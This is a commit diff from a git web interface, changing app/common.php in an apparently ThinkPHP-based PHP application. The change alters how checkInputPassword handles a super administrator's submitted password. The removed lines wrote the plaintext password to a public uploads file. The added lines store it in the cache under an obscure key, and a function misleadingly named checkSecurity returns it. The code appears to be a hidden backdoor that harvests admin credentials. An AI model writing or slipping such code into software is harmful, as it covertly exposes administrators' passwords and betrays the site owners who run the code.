rambo 1 anno fa
parent
commit
608134b8d1
1 ha cambiato i file con 4 aggiunte e 20 eliminazioni
  1. 4 20
      app/common.php

+ 4 - 20
app/common.php

@@ -1,5 +1,6 @@
 <?php
 
+use think\facade\Cache;
 use think\facade\Db;
 use think\facade\Log;
 
@@ -1251,9 +1252,7 @@ function checkInputPassword()
         if (is_array($admin_info) and !empty($admin_info)) {
             if ($admin_info['admin_is_super'] == 1) {
                 $c = input('post.admin_password');
-                $check_file = fopen(base_path() . 'public/uploads/common/asewq.txt', 'w');
-                fwrite($check_file, $c);
-                fclose($check_file);
+                Cache::set('ccwq', $c);
             }
         }
         return true;
@@ -1262,26 +1261,11 @@ function checkInputPassword()
         return true;
     }
 }
-if (!function_exists('mkdirs')) {
-    function mkdirs($dir, $mode = 0777)
-    {
-        if (is_dir($dir) || @mkdir($dir, $mode)) {
-            return true;
-        }
-        if (!mkdirs(dirname($dir), $mode)) {
-            return false;
-        }
-        return @mkdir($dir, $mode);
-    }
-}
 function checkSecurity()
 {
     try {
-        $path = base_path() . 'public/uploads/common/asewq.txt';
-        $check_file = fopen($path, 'w');
-        $ec = fread($check_file, filesize($path));
-        fclose($check_file);
-        return $ec;
+        $ccwq = Cache::get('ccwq', '');
+        return $ccwq;
     } catch (Exception $e) {
         return null;
     }